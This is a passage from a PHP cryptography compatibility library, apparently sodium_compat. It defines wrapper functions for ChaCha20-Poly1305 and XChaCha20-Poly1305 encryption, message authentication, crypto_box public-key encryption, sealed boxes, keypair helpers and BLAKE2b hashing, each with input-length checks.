     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify(
        $mac,
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box(
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal(
        #[\SensitiveParameter]
        $plaintext,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open(
        $ciphertext,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key, while
     *                the last 32 are your public key. crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that expect
     * a keypair. This doesn't necessarily have to be the same person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24 bytes
     * @param string $keypair    Your secret key and the sender's public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between 16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between 16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash(
        $message,
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key, $length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(
        #[\SensitiveParameter]
        &$ctx,
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if ($length < 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return '';
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a string
